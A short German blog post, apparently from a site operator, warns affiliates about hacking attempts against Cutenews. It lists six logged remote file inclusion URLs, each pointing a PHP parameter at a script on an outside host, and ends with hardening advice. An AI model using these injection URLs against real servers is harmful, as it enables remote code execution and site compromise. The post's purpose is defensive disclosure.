Eher als Hinweis damit ihr vorbereitet seit wenn ihr Affiliate bzw. Partner von mir werden wollt. Die bisherigen ‘Versuche’ Bloody GFX zu hacken richteten sich alle gegen Cutenews, welches in der ‘Szene’ zum Großteil verwendet wird.
- http://bloody.final-hearts.de/shoutbox-broken%22%20class=%22neww%22%20target=%22_blank%22%20title=%22Im%20neuen%20Fenster%20%C3%B6ffnen/shoutbox/expanded.php?conf=http://www.vemk.artn.ru/site/images/pulaid.txt???
- http://bloody.final-hearts.de/shoutbox-broken%22%20%20target=%22_blank/shoutbox/expanded.php?conf=http://www.vemk.artn.ru/site/images/pulaid.txt???
- http://bloody.final-hearts.de/shoutbox/expanded.php?conf=http://www.vemk.artn.ru/site/images/pulaid.txt???
- http://bloody.final-hearts.de/shoutbox-broken/shoutbox/expanded.php?conf=http://sebastians.wewillhostit.com/v9scan/copyright.txt??
- http://bloody.final-hearts.de/shoutbox-zum-download//index.php?SB_INCLUDE_PATH=http://gumansin.com/pds/1.txt??
- http://bloody.final-hearts.de/inc/shows.inc.php?cutepath=http://aiags.com//fx29id1.txt??
Schützen könnt ihr euch indem erst einmal Register Globals auf off sind, außerdem ist es gut immer erst mal jegliche Usereingabe durch htmlspecialchars() zu nudeln. Oder eben nicht Cutenews zu verwenden ;)
